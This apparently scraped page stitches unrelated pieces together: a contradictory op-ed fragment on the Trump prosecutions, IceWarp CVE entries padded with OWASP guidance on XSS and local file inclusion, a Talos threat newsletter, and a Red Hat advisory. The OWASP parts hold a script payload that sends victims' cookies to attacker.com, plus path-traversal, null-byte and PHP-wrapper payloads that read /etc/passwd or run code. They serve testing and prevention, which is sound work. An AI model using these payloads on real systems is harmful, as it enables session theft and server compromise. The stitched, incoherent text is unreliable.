The prosecutions of Trump will do nothing to cement America’s deep partisan divide, of course. Legal scholars reasonably believe it will only further inflame hostilities and erode trust in US institutions. Republicans have meanwhile launched an aggressive PR campaign based on the notion of “letting voters decide.” But relying on the vote, rather than jurors who are obligated to consider evidence and draw inferences from facts alone, could itself create a new norm anathema to democratic values. Prosecution was not the first choice. But every other lever that might’ve been pulled to stop and counteract the damage wrought by Trump was left in its place; particularly by Republicans, who’ve never actually been deprived of the means or opportunity to hold the de facto leader of their party accountable. Relying on the very system that Trump previously poured tens of millions of dollars into destroying feels otherwise, at best, like a nation fulfilling a death wish.

For American democracy to thrive, or retain any semblance of the legitimacy it has left, the prosecutorial systems, judges, and jurors in New York, Georgia, Florida, and Washington must grind forward. The law may not always prevent people from profiting off the wrongs they commit. But it cannot be denied outright the chance to decide whether they're stripped of their ill-gotten gains.

Laws are ultimately made “real” by the people against whom they’re imposed, including state officials, who, unlike private citizens, cannot scrape by merely obeying the law. Were judges, legislators, and even presidents to consider only themselves, ignoring the actions of their supervisors, subordinates, and peers, the validity of the legal system—and eventually the system itself—would fall apart. The English legal theorist H. L. A. Hart once wrote that among the "necessary and sufficient” criteria for the existence of a legal system is the requirement that public officials consciously adopt common standards of behavior and “appraise critically their own, and each other’s deviations as lapses.”

For some observers, the concept of "norms violations" during Trump's presidency became erroneously interlinked with the perceived failures of federal oversight officials, mostly by people unaware they were a phantom bulwark all along. A lack of coherence in the mainstays of democracy during Trump’s initial years left too many too focused on the absence of criminal charges, even though equally essential but far less defensible democratic norms were being whittled into dust. Where criminals have laws and courts to contend with, and are beyond the public’s own power to prosecute, social norms are injusticiable—outside the realm of the law, defined by people, their values, and beliefs.

And it’s no secret. The only fleshed-out directive revealed thus far to be implemented by Trump’s hypothetical follow-up presidency aims to see more than 50,000 bureaucrats and civil servants fired in an effort to insulate Trump from legal scrutiny and shield him from potential prosecution down the line. Groups of lobbyists have, according to Axios’ Jonathan Swan, already compiled their “extensive” lists of individuals believed loyal to the president and who fill those ranks instead. This plan is notably the opposite of the restraint on which Levitsky and Ziblatt place so much significance in the upkeep of a healthy and functioning democracy.

Trump’s Prosecution Is America’s Last Hope

IceWarp Mail Server v10.4.5 was discovered to contain a reflected cross-site scripting (XSS) vulnerability via the color parameter.

OWASP Top Ten 2017

Threat Agents / Attack Vectors

Security Weakness

Impacts

App. Specific

Exploitability: 3

Prevalence: 3

Detectability: 3

Technical: 2

Business ?

Automated tools can detect and exploit all three forms of XSS, and there are freely available exploitation frameworks.

XSS is the second most prevalent issue in the OWASP Top 10, and is found in around two thirds of all applications.  
Automated tools can find some XSS problems automatically, particularly in mature technologies such as PHP, J2EE / JSP, and ASP.NET.

The impact of XSS is moderate for reflected and DOM XSS, and severe for stored XSS, with remote code execution on the victim’s browser, such as stealing credentials, sessions, or delivering malware to the victim.

Is the Application Vulnerable?

There are three forms of XSS, usually targeting users’ browsers:  
\* **Reflected XSS**: The application or API includes unvalidated and unescaped user input as part of HTML output. A successful attack can allow the attacker to execute arbitrary HTML and JavaScript in the victim’s browser. Typically the user will need to interact with some malicious link that points to an attacker-controlled page, such as malicious watering hole websites, advertisements, or similar.  
\* **Stored XSS**: The application or API stores unsanitized user input that is viewed at a later time by another user or an administrator. Stored XSS is often considered a high or critical risk.  
\* **DOM XSS**: JavaScript frameworks, single-page applications, and APIs that dynamically include attacker-controllable data to a page are vulnerable to DOM XSS. Ideally, the application would not send attacker-controllable data to unsafe JavaScript APIs.  
Typical XSS attacks include session stealing, account takeover, MFA bypass, DOM node replacement or defacement (such as trojan login panels), attacks against the user’s browser such as malicious software downloads, key logging, and other client-side attacks.

How to Prevent

Preventing XSS requires separation of untrusted data from active browser content. This can be achieved by:  
\* Using frameworks that automatically escape XSS by design, such as the latest Ruby on Rails, React JS. Learn the limitations of each framework’s XSS protection and appropriately handle the use cases which are not covered.  
\* Escaping untrusted HTTP request data based on the context in the HTML output (body, attribute, JavaScript, CSS, or URL) will resolve Reflected and Stored XSS vulnerabilities. The OWASP Cheat Sheet ‘XSS Prevention’ has details on the required data escaping techniques.  
\* Applying context-sensitive encoding when modifying the browser document on the client side acts against DOM XSS. When this cannot be avoided, similar context sensitive escaping techniques can be applied to browser APIs as described in the OWASP Cheat Sheet ‘DOM based XSS Prevention’.  
\* Enabling a Content Security Policy (CSP) as a defense-in-depth mitigating control against XSS. It is effective if no other vulnerabilities exist that would allow placing malicious code via local file includes (e.g. path traversal overwrites or vulnerable libraries from permitted content delivery networks).  

Example Attack Scenarios

**Scenario #1**: The application uses untrusted data in the construction of the following HTML snippet without validation or escaping:  
**(String) page += "<input name='creditcard' type='TEXT'  
****value='" + request.getParameter("CC") + "'>";  
**The attacker modifies the ‘CC’ parameter in the browser to:  
**'><script>document.location=  
****'http://www.attacker.com/cgi-bin/cookie.cgi?  
****foo='+document.cookie</script>'.  
**This attack causes the victim’s session ID to be sent to the attacker’s website, allowing the attacker to hijack the user’s current session.  
**Note**: Attackers can use XSS to defeat any automated Cross-Site Request Forgery (CSRF) defense the application might employ.

References

CVE-2023-39700: OWASP Top Ten 2017 | A7:2017-Cross-Site Scripting (XSS)

IceWarp Mail Server v10.4.5 was discovered to contain a local file inclusion (LFI) vulnerability via the component /calendar/minimizer/index.php. This vulnerability allows attackers to include or execute files from the local file system of the targeted server.

**Testing for Local File Inclusion****Summary**

The File Inclusion vulnerability allows an attacker to include a file, usually exploiting a “dynamic file inclusion” mechanisms implemented in the target application. The vulnerability occurs due to the use of user-supplied input without proper validation.

This can lead to something as outputting the contents of the file, but depending on the severity, it can also lead to:

*   Code execution on the web server
*   Code execution on the client-side such as JavaScript which can lead to other attacks such as cross site scripting (XSS)
*   Denial of Service (DoS)
*   Sensitive Information Disclosure

Local file inclusion (also known as LFI) is the process of including files, that are already locally present on the server, through the exploiting of vulnerable inclusion procedures implemented in the application. This vulnerability occurs, for example, when a page receives, as input, the path to the file that has to be included and this input is not properly sanitized, allowing directory traversal characters (such as dot-dot-slash) to be injected. Although most examples point to vulnerable PHP scripts, we should keep in mind that it is also common in other technologies such as JSP, ASP and others.

**How to Test**

Since LFI occurs when paths passed to include statements are not properly sanitized, in a blackbox testing approach, we should look for scripts which take filenames as parameters.

Consider the following example:

http://vulnerable_host/preview.php?file=example.html

This looks as a perfect place to try for LFI. If an attacker is lucky enough, and instead of selecting the appropriate page from the array by its name, the script directly includes the input parameter, it is possible to include arbitrary files on the server.

Typical proof-of-concept would be to load passwd file:

http://vulnerable_host/preview.php?file=../../../../etc/passwd

If the above mentioned conditions are met, an attacker would see something like the following:

    root:x:0:0:root:/root:/bin/bash
    bin:x:1:1:bin:/bin:/sbin/nologin
    daemon:x:2:2:daemon:/sbin:/sbin/nologin
    alex:x:500:500:alex:/home/alex:/bin/bash
    margo:x:501:501::/home/margo:/bin/bash
    ...
    

Even when such a vulnerability exists, its exploitation could be more complex in real life scenarios. Consider the following piece of code:

    <?php include($_GET['file'].".php"); ?>
    

Simple substitution with a random filename would not work as the postfix .php is appended to the provided input. In order to bypass it, a tester can use several techniques to get the expected exploitation.

**Null Byte Injection**

The null character (also known as null terminator or null byte) is a control character with the value zero present in many character sets that is being used as a reserved character to mark the end of a string. Once used, any character after this special byte will be ignored. Commonly the way to inject this character would be with the URL encoded string %00 by appending it to the requested path. In our previous sample, performing a request to http://vulnerable_host/preview.php?file=../../../../etc/passwd%00 would ignore the .php extension being added to the input filename, returning to an attacker a list of basic users as a result of a successful exploitation.

**Path and Dot Truncation**

Most PHP installations have a filename limit of 4096 bytes. If any given filename is longer than that length, PHP simply truncates it, discarding any additional characters. Abusing this behavior makes it possible to make the PHP engine ignore the .php extension by moving it out of the 4096 bytes limit. When this happens, no error is triggered; the additional characters are simply dropped and PHP continues its execution normally.

This bypass would commonly be combined with other logic bypass strategies such as encoding part of the file path with Unicode encoding, the introduction of double encoding, or any other input that would still represent the valid desired filename.

**PHP Wrappers**

Local File Inclusion vulnerabilities are commonly seen as read only vulnerabilities that an attacker can use to read sensitive data from the server hosting the vulnerable application. However, in some specific implementations this vulnerability can be used to upgrade the attack from LFI to Remote Code Execution vulnerabilities that could potentially fully compromise the host.

This enhancement is common when an attacker could be able to combine the LFI vulnerability with certain PHP wrappers.

A wrapper is a code that surrounds other code to perform some added functionality. PHP implements many built-in wrappers to be used with file system functions. Once their usage is detected during the testing process of an application, it’s a good practice to try to abuse it to identify the real risk of the detected weakness(es). Below you can get a list with the most commonly used wrappers, even though you should consider that it is not exhaustive and at the same time it is possible to register custom wrappers that if employed by the target, would require a deeper ad hoc analysis.

**PHP Filter**

Used to access the local file system; this is a case insensitive wrapper that provides the capability to apply filters to a stream at the time of opening a file. This wrapper can be used to get content of a file preventing the server from executing it. For example, allowing an attacker to read the content of PHP files to get source code to identify sensitive information such as credentials or other exploitable vulnerabilities.

The wrapper can be used like php://filter/convert.base64-encode/resource=FILE where FILE is the file to retrieve. As a result of the usage of this execution, the content of the target file would be read, encoded to base64 (this is the step that prevents the execution server-side), and returned to the User-Agent.

**PHP ZIP**

On PHP 7.2.0, the zip:// wrapper was introduced to manipulate zip compressed files. This wrapper expects the following parameter structure: zip:///filename_path#internal_filename where filename_path is the path to the malicious file and internal_filename is the path where the malicious file is place inside the processed ZIP file. During the exploitation, it’s common that the # would be encoded with it’s URL Encoded value %23.

Abuse of this wrapper could allow an attacker to design a malicious ZIP file that could be uploaded to the server, for example as an avatar image or using any file upload system available on the target website (the php:zip:// wrapper does not require the zip file to have any specific extension) to be executed by the LFI vulnerability.

In order to test this vulnerability, the following procedure could be followed to attack the previous code example provided.

1.  Create the PHP file to be executed, for example with the content <?php phpinfo(); ?> and save it as code.php
2.  Compress it as a new ZIP file called target.zip
3.  Rename the target.zip file to target.jpg to bypass the extension validation and upload it to the target website as your avatar image.
4.  Supposing that the target.jpg file is stored locally on the server to the ../avatar/target.jpg path, exploit the vulnerability with the PHP ZIP wrapper by injecting the following payload to the vulnerable URL: zip://../avatar/target.jpg%23code (remember that %23 corresponds to #).

Since on our sample the .php extension is concatenated to our payload, the request to http://vulnerable_host/preview.php?file=zip://../avatar/target.jpg%23code will result in the execution of the code.php file existing in the malicious ZIP file.

**PHP Data**

Available since PHP 5.2.0, this wrapper expects the following usage: data://text/plain;base64,BASE64_STR where BASE64_STR is expected to be the Base64 encoded content of the file to be processed. It’s important to consider that this wrapper would only be avaliable if the option allow_url_include would be enabled.

In order to test the LFI using this wrapper, the code to be executed should be Base64 encoded, for example, the <?php phpinfo(); ?> code would be encoded as: PD9waHAgcGhwaW5mbygpOyA/Pg== so the payload would result as: data://text/plain;base64,PD9waHAgcGhwaW5mbygpOyA/Pg==.

**PHP Expect**

This wrapper, which is not enabled by default, provides access to processes stdio, stdout and stderr. Expecting to be used as expect://command the server would execute the provided command on BASH and return it’s result.

The most effective solution to eliminate file inclusion vulnerabilities is to avoid passing user-submitted input to any filesystem/framework API. If this is not possible the application can maintain an allow list of files, that may be included by the page, and then use an identifier (for example the index number) to access to the selected file. Any request containing an invalid identifier has to be rejected, in this way there is no attack surface for malicious users to manipulate the path.

Check out the File Upload Cheat Sheet for good security practices on this topic.

*   kadimus
*   LFI Suite
*   OWASP Zed Attack Proxy (ZAP)

**References**

*   Wikipedia
*   Null character
*   Unicode Encoding
*   Double Encoding
*   PHP Supported Protocols and Wrappers
*   RFC 2397 - The “data” URL scheme

CVE-2023-39699: WSTG - v4.2 | OWASP Foundation

The latest activity from Lazarus Groups, .gov domains scamming people out of "V-Bucks" and more in this week's edition.

Thursday, August 24, 2023 14:08

Welcome to this week’s edition of the Threat Source newsletter.

I have no idea how “Fortnite” keeps coming up in this newsletter, but here we are again.

Even though the game/metaverse has never been bigger, it had been a while since I had heard about “V-Bucks” scams. V-Bucks are the in-game virtual currency “Fortnite” uses to sell character skins and other visual elements.

After the game’s initial surge in popularity, scams claiming to get players easy V-Bucks were all over the place in the form of fake advertisements, phishing emails, scams and YouTube videos. And as the game has only become more ubiquitous, so have scams and cyber attacks centered around the game.

Wired reported last week that a central network of bad actors is responsible for compromising legitimate domains (some of them with the .gov and .edu top-level domains) and using them to trick players into sharing personal information or downloading malicious apps. This widespread campaign targets players of “Fortnite” and “Roblox,” another half-game, half-metaverse.

These compromised sites promised to send rewards in these games to players in exchange for clicking on a link, downloading a file or filling out a form.

This led me down another rabbit hole of potential Fortnite scams that I hadn’t thought about, which are the thousands of knockoffs that exist.

For some reason, just searching “Fortnite” on the Google Play store doesn’t return any results, but when you search “Fortnite game,” users are served with tons of apps of questionable origin and legitimacy. The real “Fortnite” can only be downloaded from the Epic Games Store, owned by the game’s publisher and the subject of a long legal saga with Apple.

The second-most-popular result for “Fortnite game” is something called “Battle Royale Chapter 4 Season3” published on the store by the auspiciously named “EPic Games,” which wreaks of the same vibes as a typosquatted domain.

Some of the top reviews for the app also seem to be written by bots, and in one case, the most recent 5-star review came from a user who appeared to credit ChatGPT with writing the text.

I’m not blaming anyone or any company for the existence of these types of scams, I just think it’s worth noting to parents and potential players that bad actors are still trying to backpack off the popularity of these games. It likely doesn’t fall on the companies making these games to regulate this space and make sure scammers aren’t capitalizing off their popularity — after all, no one blames the bank if an attacker uses their name in a phishing email to steal login credentials.

But I also don’t know who it falls to, either. As users, it again falls on us to just be hyper-vigilant and prepared, knowing attackers will try to leverage anything, even fake money used to buy virtual hot dog suits, to scam people.

**The one big thing**

The infamous Lazarus Group APT is back at it again with two new remote access trojans. The North Korean state-sponsored group is well known for using a variety of malware to generate revenue for the hermit government and trying to spy on their various adversaries. Now, they have two new RATs that Talos recently discovered, largely based on open-source tools or previously leaked malware code. Lazarus Group is increasingly using the Qt framework to create their malware, which poses new challenges for defenders. It increases the complexity of the malware’s code, making human analysis more difficult.

**Why do I care?**

Any time the Lazarus Group is active, everyone should take notice. This is one of the most high-profile APTs on the threat landscape right now, and they’ve shown that they will not hesitate to exhaust all options to try to generate money for North Korea’s government. With this specific set of RATs, they are smaller than Lazarus’ usual payloads, which makes their operations slimmer, faster and harder to detect. Once infected, Lazarus Group can carry out a wide range of malicious actions on targets, ranging from deploying ransomware to completely lock down targeted machines, stealing personal information, or hijacking hardware for cryptocurrency mining.

**So now what?**

Both the blogs we published Thursday morning include guidance on remediating these threats. The use of open-source tooling can sometimes make it easier for security researchers to spot Lazarus Group activity, and in the case of the two new RATs, Talos has a wide range of Snort and ClamAV detection available.

**Top security headlines of the week**

**The FBI warned that North Korean state-sponsored actors are preparing to cash out up to $40 million worth of cryptocurrency after multiple heists.** The Lazarus Group reportedly is holding onto six separate crypto wallets holding a combined 1,580 Bitcoin over the course of 24 hours earlier this week. This APT is known for carrying out data breaches and cyber attacks to generate funding for the country’s illegal nuclear weapons program. The Lazarus Group previously stole $60 million and $37 million in cryptocurrency from Alphapo and CoinsPaid, respectively, in July, and $100 million from Atomic Wallet in June. In its alert, the FBI shared the Bitcoin addresses associated with the attacks so cryptocurrency agencies could examine their blockchain data and “be vigilant in guarding against transactions directly with, or derived from the addresses.” (TechCrunch, SecurityWeek)

**A previously unknown hacking group appears to be behind a supply chain attack targeting roughly 100 computers located in Hong Kong and other areas of Asia.** Security researchers attributed the attack to a new actor known as “Carderbee” that is currently not tied to any state affiliations. The attackers exploited the legitimate Cobra DocGuard software — made by a Chinese software company — to deliver a malicious software update that compromised the machines. Because only about 2,000 machines worldwide use DocGuard, researchers believe it is a highly targeted attack looking to compromise specific victims. Each attack tried to deploy the Korplug (the predecessor of PlugX) backdoor onto victim computers. (CyberScoop, The Record by Recorded Future)

**The Clop threat actor was responsible for more than a third of all ransomware attacks in July,** according to multiple industry reports. Clop continues to carry out follow-on attacks associated with its massive breach of the MOVEit file transfer software. More than 4 million Colorado residents may have been affected because of the MOVEit breach, with the state’s Department of Health Care Policy & Financing (HCPF) disclosing this week that it was affected through a technology partner, IBM. HCPF stated that the MOVEit data breach leaked sensitive data but did not compromise the state agency’s internal systems. As of this week, some estimates state that more than 730 organizations have been affected by the MOVEit breach. (Cybersecurity Dive, CPO Magazine)

**Can’t get enough Talos?**

*   Talos Takes Ep. #151: Hacktivism is quietly growing, especially when it comes to Russia's invasion of Ukraine
*   Three vulnerabilities in NVIDIA graphics driver could cause memory corruption
*   Generating FLIRT signatures for Nim and other non-C programming languages
*   Cisco: Bringing More Intelligence to Bear on the Threat Landscape

**Upcoming events where you can find Talos**

**LABScon** **(Sept. 20 - 23)**

Scottsdale, Arizona

> Vitor Ventura gives a presentation that’s a detailed account and timeline of one such mercenary organization, from almost bankrupt to having a fully working spyware targeting iOS and Android with a one-click zero-day exploit.

**Grace Hopper Celebration** **(Sept. 26 - 29)**

Orlando, Florida

> Caitlin Huey, Susan Paskey and Alexis Merritt present a "Level Up Lab" titled "Don’t Fail Knowledge Checks: Accelerating Incident Response with Threat Intelligence." Participate in several fast-paced activities that emphasize the importance of threat intelligence in security incident investigations. Attendees will act as incident responders investigating a simulated incident that unfolds throughout this session. Periodic checkpoints will include discussions that highlight how incident response and threat intelligence complement each other during an active security investigation.

**ATT&CKcon 4.0** **(Oct. 24 - 25)**

McLean, Virginia

> Nicole Hoffman and James Nutland discuss the MIRE ATT&CK framework in “One Leg to Stand on: Adventures in Adversary Tracking with ATT&CK.” Even though ATT&CK has become an industry standard for cyber threat intelligence reporting, all too often, techniques are thrown at the bottoms of reports and blogs without any context never to be seen again after dissemination. This is not useful for intelligence producers or consumers. In this presentation, Nicole and James will show analysts how to use ATT&CK as a guideline for creating a contextual knowledge base for adversary tracking.

**Most prevalent malware files from Talos telemetry over the past week**

**SHA 256:** 24283c2eda68c559f85db7bf7ccfe3f81e2c7dfc98a304b2056f1a7c053594fe  
**MD5:** 49ae44d48c8ff0ee1b23a310cb2ecf5a  
**Typical Filename:** nYzVlQyRnQmDcXk  
**Claimed Product:** N/A  
**Detection Name:** Win.Dropper.Scar::tpd

**SHA 256:** a31f222fc283227f5e7988d1ad9c0aecd66d58bb7b4d8518ae23e110308dbf91  
**MD5:** 7bdbd180c081fa63ca94f9c22c457376  
**Typical Filename:** c0dwjdi6a.dll  
**Claimed Product:** N/A  
**Detection Name:** Trojan.GenericKD.33515991

**SHA 256:** 9f1f11a708d393e0a4109ae189bc64f1f3e312653dcf317a2bd406f18ffcc507  
**MD5:** 2915b3f8b703eb744fc54c81f4a9c67f  
**Typical Filename:** VID001.exe  
**Claimed Product:** N/A  
**Detection Name:** Win.Worm.Coinminer::1201

**SHA 256:** 4c3c7be970a08dd59e87de24590b938045f14e693a43a83b81ce8531127eb440  
**MD5:** ef6ff172bf3e480f1d633a6c53f7a35e  
**Typical Filename:** iizbpyilb.bat  
**Claimed Product:** N/A  
**Detection Name:** Trojan.Agent.DDOH

**SHA 256:** 5e537dee6d7478cba56ebbcc7a695cae2609010a897d766ff578a4260c2ac9cf  
**MD5:** 2cfc15cb15acc1ff2b2da65c790d7551  
**Typical Filename:** rcx4d83.tmp  
**Claimed Product:** N/A  
**Detection Name:** Win.Dropper.Pykspa::tpd

Years into these games’ histories, attackers are still creating “Fortnite” and “Roblox”-related scams

Red Hat Security Advisory 2023-4674-01 - Red Hat OpenShift Container Platform is Red Hat's cloud computing Kubernetes application platform solution designed for on-premise or private cloud deployments. This advisory contains the RPM packages for Red Hat OpenShift Container Platform 4.12.30.

-----BEGIN PGP SIGNED MESSAGE-----  
Hash: SHA256

====================================================================                     
Red Hat Security Advisory

Synopsis:          Moderate: OpenShift Container Platform 4.12.30 packages and security update  
Advisory ID:       RHSA-2023:4674-01  
Product:           Red Hat OpenShift Enterprise  
Advisory URL:      https://access.redhat.com/errata/RHSA-2023:4674  
Issue date:        2023-08-23  
CVE Names:         CVE-2022-27664  
====================================================================  
1. Summary:

Red Hat OpenShift Container Platform release 4.12.30 is now available with  
updates to packages and images that fix several bugs and add enhancements.

This release includes a security update for Red Hat OpenShift Container  
Platform 4.12.

Red Hat Product Security has rated this update as having a security impact  
of Moderate. A Common Vulnerability Scoring System (CVSS) base score, which  
gives a detailed severity rating, is available for each vulnerability from  
the CVE link(s) in the References section.

2. Relevant releases/architectures:

Red Hat OpenShift Container Platform 4.12 - aarch64, ppc64le, s390x, x86_64

3. Description:

Red Hat OpenShift Container Platform is Red Hat's cloud computing  
Kubernetes application platform solution designed for on-premise or private  
cloud deployments.

This advisory contains the RPM packages for Red Hat OpenShift Container  
Platform 4.12.30. See the following advisory for the container images for  
this release:

https://access.redhat.com/errata/RHSA-2023:4671

Security Fix(es):

* golang: net/http: handle server errors after sending GOAWAY  
(CVE-2022-27664)

For more details about the security issue(s), including the impact, a CVSS  
score, acknowledgments, and other related information, refer to the CVE  
page(s) listed in the References section.

All OpenShift Container Platform 4.12 users are advised to upgrade to these  
updated packages and images when they are available in the appropriate  
release channel. To check for available updates, use the OpenShift CLI (oc)  
or web console. Instructions for upgrading a cluster are available at  
https://docs.openshift.com/container-platform/4.12/updating/updating-cluster-cli.html

4. Solution:

For OpenShift Container Platform 4.12 see the following documentation,  
which will be updated shortly for this release, for important instructions  
on how to upgrade your cluster and fully apply this asynchronous errata  
update:

https://docs.openshift.com/container-platform/4.12/release_notes/ocp-4-12-release-notes.html

5. Bugs fixed (https://bugzilla.redhat.com/):

2124669 - CVE-2022-27664 golang: net/http: handle server errors after sending GOAWAY

6. Package List:

Red Hat OpenShift Container Platform 4.12:

Source:  
cri-o-1.25.4-4.rhaos4.12.gitb9319a2.el8.src.rpm  
openshift-clients-4.12.0-202308151125.p0.gf61957e.assembly.stream.el8.src.rpm

aarch64:  
cri-o-1.25.4-4.rhaos4.12.gitb9319a2.el8.aarch64.rpm  
cri-o-debuginfo-1.25.4-4.rhaos4.12.gitb9319a2.el8.aarch64.rpm  
cri-o-debugsource-1.25.4-4.rhaos4.12.gitb9319a2.el8.aarch64.rpm  
openshift-clients-4.12.0-202308151125.p0.gf61957e.assembly.stream.el8.aarch64.rpm

ppc64le:  
cri-o-1.25.4-4.rhaos4.12.gitb9319a2.el8.ppc64le.rpm  
cri-o-debuginfo-1.25.4-4.rhaos4.12.gitb9319a2.el8.ppc64le.rpm  
cri-o-debugsource-1.25.4-4.rhaos4.12.gitb9319a2.el8.ppc64le.rpm  
openshift-clients-4.12.0-202308151125.p0.gf61957e.assembly.stream.el8.ppc64le.rpm

s390x:  
cri-o-1.25.4-4.rhaos4.12.gitb9319a2.el8.s390x.rpm  
cri-o-debuginfo-1.25.4-4.rhaos4.12.gitb9319a2.el8.s390x.rpm  
cri-o-debugsource-1.25.4-4.rhaos4.12.gitb9319a2.el8.s390x.rpm  
openshift-clients-4.12.0-202308151125.p0.gf61957e.assembly.stream.el8.s390x.rpm

x86_64:  
cri-o-1.25.4-4.rhaos4.12.gitb9319a2.el8.x86_64.rpm  
cri-o-debuginfo-1.25.4-4.rhaos4.12.gitb9319a2.el8.x86_64.rpm  
cri-o-debugsource-1.25.4-4.rhaos4.12.gitb9319a2.el8.x86_64.rpm  
openshift-clients-4.12.0-202308151125.p0.gf61957e.assembly.stream.el8.x86_64.rpm  
openshift-clients-redistributable-4.12.0-202308151125.p0.gf61957e.assembly.stream.el8.x86_64.rpm

Red Hat OpenShift Container Platform 4.12:

Source:  
openshift-clients-4.12.0-202308151125.p0.gf61957e.assembly.stream.el9.src.rpm

aarch64:  
openshift-clients-4.12.0-202308151125.p0.gf61957e.assembly.stream.el9.aarch64.rpm

ppc64le:  
openshift-clients-4.12.0-202308151125.p0.gf61957e.assembly.stream.el9.ppc64le.rpm

s390x:  
openshift-clients-4.12.0-202308151125.p0.gf61957e.assembly.stream.el9.s390x.rpm

x86_64:  
openshift-clients-4.12.0-202308151125.p0.gf61957e.assembly.stream.el9.x86_64.rpm  
openshift-clients-redistributable-4.12.0-202308151125.p0.gf61957e.assembly.stream.el9.x86_64.rpm

These packages are GPG signed by Red Hat for security.  Our key and  
details on how to verify the signature are available from  
https://access.redhat.com/security/team/key/

7. References:

https://access.redhat.com/security/cve/CVE-2022-27664  
https://access.redhat.com/security/updates/classification/#moderate  
https://docs.openshift.com/container-platform/4.12/release_notes/ocp-4-12-release-notes.html

8. Contact:

The Red Hat security contact is <secalert@redhat.com>. More contact  
details at https://access.redhat.com/security/team/contact/

Copyright 2023 Red Hat, Inc.  
-----BEGIN PGP SIGNATURE-----  
Version: GnuPG v1

iQIcBAEBCAAGBQJk5nCbAAoJENzjgjWX9erEpc0P/1+iF4XNpzS6djOacDQoIDps  
7ChiCnOn/6WuLeuXTpAPugngaaYDeK9Zdmbi9SOgq9OL+iVUJd9XsMGCShb1hHZJ  
6NquTZbjI55WrVI192A8TakFjCu1jOgpb4BjpWODMQ+G8uVs6P0DvNdxjiApQioy  
rjglbitP0QsEWmLPNzcYVJsTfqrySTzo6HQVg15MP9MlDf/pRzWtIgFrb0ZKqVyk  
LDwYXEta7ngz+C3yJpdE6kpV+U+k4VqEJzUeeooclDt9EK8W+fjfQydQ5ynHTUKJ  
5plSHbonr9J0v/KGGK+CCSAM3oV3/11t1gLMsckFnco0X5cApaeqaBTqIgN1Sprc  
a3NfpJWxR7e94l4SljOPlnMvFs9qh1TFWBPl163EEyeYCSBSAfd7dZGFTW4wf0dn  
/DDwpGclvTezU/xkJLjqcyfJlM0Jiendt9BHUZbRL2bh03Hc+f94SZEl2IOsRN5D  
DV75avEWLBWwcKaQ8bJLwkFeG6759jOx8GhOV5Hsxiwo41OQbEFgoZg3QMabX6aU  
iKKmp3u24YQ65osakIC17J79WuRKu9WSpucUXZpoiTylnHpi/4UcYTMYjOtf4ELH  
iDcd5jwFe7bWWGPQlgsw+KhQXVVy4kDwDbyYeOreqBOqJnLeqatfNI2f1D7fCJDp  
B3TcRpIruZnY7370tddX  
=xepm  
-----END PGP SIGNATURE-----  
--  
RHSA-announce mailing list  
RHSA-announce@redhat.com  
https://listman.redhat.com/mailman/listinfo/rhsa-announce

Tag

#ios